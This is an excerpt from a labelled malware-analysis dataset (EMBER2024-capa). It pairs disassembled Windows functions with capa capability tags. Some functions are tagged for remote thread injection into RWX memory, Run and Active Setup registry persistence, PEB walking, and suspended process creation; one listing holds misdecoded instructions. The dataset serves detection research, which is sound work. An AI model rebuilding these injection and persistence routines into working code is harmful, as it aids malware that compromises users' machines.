joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009be0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x1000f810
cmp dword [edi], 0
jne 0x10009c5c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x1000f80c]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x1000e0e4
mov ecx, 2
call fcn.10002604
mov edx, 0x10009bc0
lea eax, [esi + 5]
call fcn.10009bb8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.10009bb8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x10009c31
mov dword [0x1000f80c], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x10009f84
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebx, eax
xor eax, eax
mov dword [esp + 8], eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
mov ecx, eax
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, dword [eax + 0x50]
mov edi, dword [eax + 0x34]
push 0x8000
push 0
push edi
push ebx
call sub.kernel32.dll_VirtualFreeEx
push 0x40
push 0x3000
push esi
push edi
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0x1000a020
lea eax, [esp + 0xc]
push eax
push esi
push 0
call sub.kernel32.dll_GetModuleHandleA_1
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp esi, dword [esp + 0xc]
ja 0x1000a020
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
push ebx
call sub.kernel32.dll_CloseHandle
mov dword [esp + 8], ebp
mov eax, dword [esp + 8]
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x1000a02c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffda0
mov esi, eax
lea edi, [esp]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor ebx, ebx
lea eax, [esp + 0x21c]
mov edx, 0x44
call fcn.100050d8
lea eax, [esp + 0x20c]
push eax
lea eax, [esp + 0x220]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x1000a090
mov ebx, dword [esp + 0x20c]
push 0x64
call sub.kernel32.dll_Sleep
mov eax, ebx
add esp, 0x260
pop edi
pop esi
pop ebx
ret
Function at 0x1000a518
Capabilities:
Persist via active setup registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x288
push 0
push 0
dec ecx
jne 0x1000a520
push ecx
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x13a0]
mov ecx, 0x4e4
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.10003c28
xor eax, eax
push ebp
push 0x1000a7b7
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 0x754], 0
je 0x1000a771
cmp byte [ebp - 0x5e4], 1
jne 0x1000a59a
mov eax, dword [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x13a4]
lea edx, [ebp - 0x752]
mov ecx, 0x3d
call fcn.100038e0
mov ecx, dword [ebp - 0x13a4]
mov edx, 0x1000a7cc
mov eax, 0x80000002
call fcn.1000577c
cmp byte [ebp - 0x5e3], 1
jne 0x1000a5d4
mov eax, dword [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x13a8]
lea edx, [ebp - 0x6d8]
mov ecx, 0x3d
call fcn.100038e0
mov ecx, dword [ebp - 0x13a8]
mov edx, 0x1000a7cc
mov eax, 0x80000001
call fcn.1000577c
cmp byte [ebp - 0x5e2], 1
jne 0x1000a67a
lea eax, [ebp - 0x13b0]
lea edx, [ebp - 0x65e]
mov ecx, 0x3d
call fcn.100038e0
mov ecx, dword [ebp - 0x13b0]
lea eax, [ebp - 0x13ac]
mov edx, 0x1000a82c
call fcn.10003988
mov edx, dword [ebp - 0x13ac]
mov eax, 0x80000001
call fcn.100059e8
lea eax, [ebp - 0x13b4]
mov ecx, 0x1000a89c
mov edx, dword [ebp - 4]
call fcn.10003988
mov eax, dword [ebp - 0x13b4]
push eax
push 2
lea eax, [ebp - 0x13bc]
lea edx, [ebp - 0x65e]
mov ecx, 0x3d
call fcn.100038e0
mov ecx, dword [ebp - 0x13bc]
lea eax, [ebp - 0x13b8]
mov edx, 0x1000a82c
call fcn.10003988
mov edx, dword [ebp - 0x13b8]
mov ecx, 0x1000a8b4
mov eax, 0x80000002
call fcn.1000577c
cmp byte [ebp - 0x5e1], 1
jne 0x1000a771
lea eax, [ebp - 0x13c0]
lea edx, [ebp - 0x4ec]
mov ecx, 0x3d
call fcn.100034b0
mov eax, dword [ebp - 0x13c0]
mov edx, 0x1000a8d0
call fcn.1000362c
jne 0x1000a6d2
lea edx, [ebp - 0x143c]
mov eax, dword [ebp - 4]
call fcn.10005240
lea esi, [ebp - 0x143c]
lea edi, [ebp - 0x4ec]
mov ecx, 0x1e
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x5e0]
mov ecx, 0x3d
call fcn.100038e0
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x1000a8e0
call fcn.10003b94
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.10003ab8
mov edx, dword [ebp - 0xc]
mov eax, 0x1000a8e0
call fcn.10003b94
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.10003b04
mov eax, dword [ebp - 8]
call fcn.10005a94
mov ebx, eax
lea eax, [ebp - 0x1440]
lea edx, [ebp - 0x4ec]
mov ecx, 0x3d
call fcn.100038e0
mov eax, dword [ebp - 0x1440]
push eax
push 2
lea eax, [ebp - 0x1444]
lea edx, [ebp - 0x566]
mov ecx, 0x3d
call fcn.100038e0
mov ecx, dword [ebp - 0x1444]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.1000577c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1000a7be
lea eax, [ebp - 0x1444]
mov edx, 2
call fcn.10003788
lea eax, [ebp - 0x13c0]
call fcn.100032cc
lea eax, [ebp - 0x13bc]
mov edx, 7
call fcn.10003788
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.10003788
ret
Function at 0x1000cecc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
mov esi, edx
mov ebx, eax
mov dword [esp], 0
mov dword [esp + 4], 0
mov eax, ebx
call fcn.10005ca4
test al, al
je 0x1000cf30
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.kernel32.dll_CreateFileW
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
xor edx, edx
mov dword [esp], eax
mov dword [esp + 4], edx
push 0
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 8]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [esp]
mov edx, dword [esp + 4]
add esp, 0xc
pop esi
pop ebx
ret
Function at 0x10001a30
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10095cc8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100b4208]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
lea ecx, [ebp - 0x1c]
call fcn.10002ca0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10074158
add esp, 8
add eax, 0x28
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
push edx
lea ecx, [ebp - 0x1c]
call fcn.10002d10
lea ecx, [ebp - 0x1c]
call fcn.1000fc10
test eax, eax
je 0x10001b2f
push str._FtpMsg_
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str._T:_d_P:_d__s:
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
call fcn.1000fc10
push eax
call fcn.100740dd
add esp, 0x18
lea ecx, [ebp - 0x1c]
call fcn.1000fc10
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 2
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
mov ax, word [edx]
mov word [ebp - 0x2a], ax
add dword [ebp - 0x24], 2
cmp word [ebp - 0x2a], 0
jne 0x10001ad4
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x28]
sar ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x20]
push edx
lea ecx, [ebp - 0x1c]
call fcn.1000fc10
mov ecx, dword [ebp - 0x20]
lea edx, [eax + ecx*2]
push edx
call fcn.100742f7
add esp, 0x10
lea ecx, [ebp - 0x1c]
call fcn.1000fc10
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.10002cd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000226f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x78]
js 0x1000221d
inc ebp
or byte [ecx], al
ror byte [ecx + 0x458bf045], 1
invalid
mov edx, dword [eax + 0x20]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x24]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
jmp 0x10002326
mov eax, dword [ebp - 4]
lea edx, [eax*4]
mov eax, dword [ebp - 0x14]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.10002236
cmp eax, dword [ebp + 0xc]
jne 0x10002322
mov eax, dword [ebp - 4]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, word [eax]
movzx eax, ax
lea edx, [eax*4]
mov eax, dword [ebp - 0x18]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp + 8]
add eax, edx
jmp 0x10002336
add dword [ebp - 4], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
cmp eax, dword [ebp - 4]
ja 0x100022cc
mov eax, 0
leave
ret

Function at 0x10002340
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret
Function at 0x100280a0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x100b4208]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100280f2
mov eax, dword [esp]
cmp al, 2
jne 0x100280ec
shr eax, 8
cmp al, 2
jne 0x100280ec
xor eax, eax
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.10073b34
add esp, 0x194
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x190]
xor ecx, esp
mov eax, 2
call fcn.10073b34
add esp, 0x194
ret
Function at 0x10032c40
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x10032c72
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
ret
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor eax, eax
ret

Function at 0x10032db0
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x10032dcb
mov edx, dword [esi + 0x134]
push edx
push edi
push ebx
push eax
push esi
call ecx
add esp, 0x14
ret
test eax, eax
jl 0x10032dff
cmp eax, 2
jg 0x10032dff
mov ecx, dword [esi + 0x130]
push ecx
push 1
lea edx, [eax + eax*2 + 0x1009a200]
push 2
push edx
call fcn.10075ccd
mov eax, dword [esi + 0x130]
push eax
push 1
push edi
push ebx
call fcn.10075ccd
add esp, 0x20
xor eax, eax
ret

Function at 0x10033110
Capabilities:
Send data
Send data on socket

Disassembly:
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi + eax*4 + 0x154]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [esp + 0x20]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x1003318d
push ebp
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
cmp ebp, 0x2733
jne 0x10033164
pop ebp
pop edi
pop esi
mov dword [ebx], 0x51
xor eax, eax
pop ebx
ret
push ebp
push esi
call fcn.10037e00
push eax
mov eax, dword [esi]
push str.Send_failure:__s
push eax
call fcn.10032f90
mov ecx, dword [esi]
add esp, 0x14
mov dword [ecx + 0x860c], ebp
mov dword [ebx], 0x37
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x100348c0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x14
xor eax, eax
cmp dword [esi + 0x470], eax
push 4
lea ecx, [esp + 4]
push ecx
setne al
push 8
push 0xffff
push edi
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jge 0x100348fe
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.10032f00
add esp, 0xc
add esp, 0x14
ret
mov edx, dword [esi + 0x474]
push edx
mov dword [esp + 0xc], 1
call fcn.100562e0
imul eax, eax, 0x3e8
mov dword [esp + 4], eax
mov dword [esp + 0x10], eax
mov eax, dword [esi + 0x478]
push eax
call fcn.100562e0
imul eax, eax, 0x3e8
add esp, 8
push 0
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push 0xc
lea edx, [esp + 0x20]
push edx
push 0x98000004
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x10034977
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.10032f00
add esp, 0x10
add esp, 0x14
ret
Function at 0x10034f70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x10c
mov eax, dword [0x100b4208]
xor eax, esp
mov dword [esp + 0x108], eax
push ebp
mov ebp, dword [esp + 0x114]
cmp dword [ebp + 0x8c], 2
push edi
mov edi, dword [ebp]
mov dword [esp + 0xc], edi
je 0x100350d5
cmp dword [ebp + 0x1f0], 0
push ebx
push esi
jne 0x100350ca
mov esi, dword [esp + 0x124]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov ebx, 0x80
push esi
mov dword [esp + 0x1c], ebx
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x10034ff9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
push esi
push ebp
call fcn.10037e00
push eax
push esi
push str.getpeername___failed_with_errno__d:__s
push edi
call fcn.10032f90
add esp, 0x18
jmp 0x100350d3
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x9c]
push eax
push esi
mov dword [esp + 0x1c], ebx
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x10035039
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
push esi
push ebp
call fcn.10037e00
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push edi
call fcn.10032f90
add esp, 0x18
jmp 0x100350d3
lea edi, [ebp + 0xb8]
lea ebx, [ebp + 0xe8]
lea esi, [esp + 0x18]
call fcn.10034f20
test eax, eax
jne 0x10035077
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push ebp
call fcn.10037e00
mov ecx, dword [esp + 0x1c]
push eax
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push ecx
call fcn.10032f90
add esp, 0x18
jmp 0x100350d3
lea edi, [ebp + 0x58]
mov ecx, 0xb
lea esi, [ebp + 0xb8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ebx, [ebp + 0x11c]
lea edi, [ebp + 0xec]
lea esi, [esp + 0x98]
call fcn.10034f20
test eax, eax
jne 0x100350ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push ebp
call fcn.10037e00
mov edx, dword [esp + 0x1c]
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push edx
call fcn.10032f90
add esp, 0x18
jmp 0x100350d3
push ebp
call fcn.10034ec0
add esp, 4
pop esi
pop ebx
mov ecx, dword [esp + 0x110]
pop edi
pop ebp
xor ecx, esp
call fcn.10073b34
add esp, 0x10c
ret

Function at 0x100350f0
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, dword [edi]
mov eax, dword [esi + 0x360]
push 4
lea ecx, [esp + 8]
push ecx
push 1
push 6
push edx
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jge 0x10035133
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.10037e00
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.10032f00
add esp, 0x14
pop esi
pop ecx
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.10032f00
add esp, 8
pop esi
pop ecx
ret
Function at 0x10035150
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xac
mov eax, dword [0x100b4208]
xor eax, esp
mov dword [esp + 0xa8], eax
mov eax, dword [0x100b5fa0]
mov dword [esp], 0x4020
mov dword [esp + 4], 0
mov dword [esp + 8], 4
test eax, eax
jne 0x100351f3
push 0x9c
push eax
lea eax, [esp + 0x14]
push eax
call fcn.10075220
add esp, 0xc
push 3
push 2
push 0
push 0
mov dword [esp + 0x1c], 0x9c
mov dword [esp + 0x20], 6
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
push 2
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
test eax, eax
je 0x100351e7
mov dword [0x100b5fa0], 2
mov ecx, dword [esp + 0xa8]
xor ecx, esp
call fcn.10073b34
add esp, 0xac
ret
mov dword [0x100b5fa0], 1
jmp 0x100351f8
cmp eax, 2
je 0x10035242
push esi
mov esi, dword [esp + 0xb4]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0xc]
push eax
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x10035229
mov ecx, dword [esp + 8]
cmp ecx, dword [esp + 4]
jg 0x10035241
push 4
lea edx, [esp + 8]
push edx
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
pop esi
mov ecx, dword [esp + 0xa8]
xor ecx, esp
call fcn.10073b34
add esp, 0xac
ret

Function at 0x10035280
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, dword [edi + 0x5d0]
test esi, esi
je 0x100352cd
mov eax, dword [edi + 0x44]
test eax, eax
je 0x100352cd
push 0x10035260
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x30]
push ecx
push edx
call fcn.100548d0
add esp, 0xc
cmp dword [esp + 0xc], 0
jne 0x100352d6
mov dword [edi + 0x5d0], 0
pop edi
or eax, 0xffffffff
pop esi
add esp, 8
ret
mov eax, dword [esp + 0x18]
test eax, eax
je 0x100352e0
mov dword [eax], esi
cmp dword [esi + 0x17c], 0
mov edi, dword [esi + 0x154]
je 0x10035305
push esi
call fcn.10029840
add esp, 4
test eax, eax
jne 0x10035319
pop edi
or eax, 0xffffffff
pop esi
add esp, 8
ret
push 2
push 1
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x100352cd
mov eax, edi
pop edi
pop esi
add esp, 8
ret
Function at 0x10035470
Capabilities:
Connect socket

Disassembly:
sub esp, 0xd8
mov eax, dword [0x100b4208]
xor eax, esp
mov dword [esp + 0xd4], eax
mov eax, dword [esp + 0xe0]
push ebp
mov ebp, dword [esp + 0xe0]
mov edx, dword [ebp]
mov dword [esp + 4], ecx
mov dword [ecx], 0xffffffff
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0xc], edx
lea edx, [esp + 0x1c]
push edx
push eax
push ebp
mov dword [esp + 0x1c], 0
call fcn.10035390
add esp, 0x10
test eax, eax
je 0x100354dc
xor eax, eax
pop ebp
mov ecx, dword [esp + 0xd4]
xor ecx, esp
call fcn.10073b34
add esp, 0xd8
ret
push ebx
push esi
push edi
lea ebx, [esp + 0x20]
lea edi, [esp + 0xb4]
lea esi, [esp + 0x34]
call fcn.10034f20
test eax, eax
jne 0x1003552a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push ebp
call fcn.10037e00
push eax
mov eax, dword [esp + 0x20]
push esi
push str.sa_addr_inet_ntop___failed_with_errno__d:__s
push eax
call fcn.10032f90
mov ecx, dword [esp + 0x34]
push ecx
push ebp
call fcn.10035330
add esp, 0x20
jmp 0x1003569c
mov esi, dword [esp + 0x14]
lea edx, [esp + 0xb4]
push edx
push str.__Trying__s..._n
push esi
call fcn.10032f00
mov ebx, dword [esp + 0x28]
add esp, 0xc
cmp dword [esi + 0x360], 0
je 0x1003555a
mov edx, ebx
mov edi, ebp
call fcn.100350f0
push ebx
call fcn.10035150
add esp, 4
cmp dword [esi + 0x470], 0
je 0x10035573
mov edi, ebx
call fcn.100348c0
mov eax, dword [esi + 0x1b0]
test eax, eax
je 0x10035599
mov ecx, dword [esi + 0x1b4]
push 0
push ebx
push ecx
call eax
add esp, 0xc
cmp eax, 2
jne 0x100355c6
mov dword [esp + 0x18], 1
mov edx, dword [esp + 0x24]
push edx
push ebx
push ebp
call fcn.10034a50
mov edi, eax
add esp, 0xc
test edi, edi
je 0x100355de
push ebx
push ebp
call fcn.10035330
mov eax, edi
dec eax
add esp, 8
neg eax
sbb eax, eax
and eax, edi
jmp 0x1003569e
test eax, eax
je 0x10035599
push ebx
push ebp
call fcn.10035330
add esp, 8
mov eax, 0x2a
jmp 0x1003569e
push 1
push ebx
call fcn.1005a3c0
add esp, 8
call fcn.10032ad0
cmp dword [ebp + 0x258], 1
mov dword [ebp + 0x250], eax
mov dword [ebp + 0x254], edx
jle 0x10035613
mov eax, dword [ebp + 0x25c]
push eax
push esi
call fcn.10031250
add esp, 8
cmp dword [esp + 0x18], 0
jne 0x10035696
cmp dword [ebp + 0x8c], 1
jne 0x10035696
mov ecx, dword [esp + 0x30]
push ecx
lea edx, [esp + 0x38]
push edx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1003568c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0xb
je 0x1003568a
cmp edi, 0x2732
jle 0x10035656
cmp edi, 0x2734
jle 0x1003568a
push edi
push ebp
call fcn.10037e00
push eax
lea eax, [esp + 0xc0]
push eax
push str.Immediate_connect_fail_for__s:__s_n
push esi
call fcn.10032f00
push ebx
push ebp
mov dword [esi + 0x860c], edi
call fcn.10035330
mov edi, 7
add esp, 0x20
mov eax, edi
jmp 0x1003569e
xor edi, edi
mov ecx, dword [esp + 0x10]
mov dword [ecx], ebx
mov eax, edi
jmp 0x1003569e
mov edx, dword [esp + 0x10]
mov dword [edx], ebx
xor eax, eax
mov ecx, dword [esp + 0xe4]
pop edi
pop esi
pop ebx
pop ebp
xor ecx, esp
call fcn.10073b34
add esp, 0xd8
ret